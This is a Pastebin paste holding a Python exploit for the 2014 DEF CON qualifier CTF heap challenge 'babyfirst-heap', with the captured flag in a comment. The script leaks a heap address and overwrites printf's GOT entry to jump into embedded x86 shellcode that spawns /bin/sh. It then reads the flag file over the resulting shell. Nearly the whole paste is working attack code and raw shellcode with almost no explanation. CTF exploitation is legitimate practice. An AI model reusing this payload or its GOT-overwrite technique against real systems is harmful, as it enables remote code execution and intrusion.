Guest User

Untitled

a guest
May 19th, 2014
850
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.24 KB | None | 0 0
  1. import socket
  2. import random,re,struct
  3. from time import sleep
  4. # tasteless - Razor4x
  5. #The flag is: Good job on that doubly linked list. Why don't you try something harder!!OMG!!
  6. s = socket.socket()
  7. s.connect(("babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c.2014.shallweplayaga.me",4088))
  8. base=''
  9. while True:
  10. d=s.recv(4096)
  11. print d
  12. if '1246' in d:
  13. base=re.search('loc=(.+?)\]',d)
  14. if 'Write' in d:
  15. break
  16.  
  17. #base=struct.pack("<I",int(base.group(1),16))
  18. base=int(base.group(1),16)
  19. off2=0x804D008-0x0804f360
  20. print off2
  21. addr2=base-off2
  22. print hex(addr2)
  23. addr2=struct.pack("<I",addr2)
  24. #addr2="\xAC\xc8\x04\x08" #exit
  25.  
  26. #printf() got overwrite
  27. # "\xfc\xbf\x04\x08" => printf address
  28. # addr2 => offset caluclated address of my payload
  29. payload="\xfc\xbf\x04\x08" + addr2+ "C"*16 +"\x31\xc0\x31\xdb\x31\xc9\xb3\x04\xb1\x03\xb0\x3f\xfe\xc9\xcd\x80\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80"+ "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"+"C"*151 +"\n"
  30.  
  31. s.send(payload)
  32. i=0
  33. while True:
  34. d=s.recv(4096)
  35. print d
  36. if "058" in d:
  37. s.send("cat /home/babyfirst-heap/flag\n")
Advertisement
Add Comment
Please, Sign In to add comment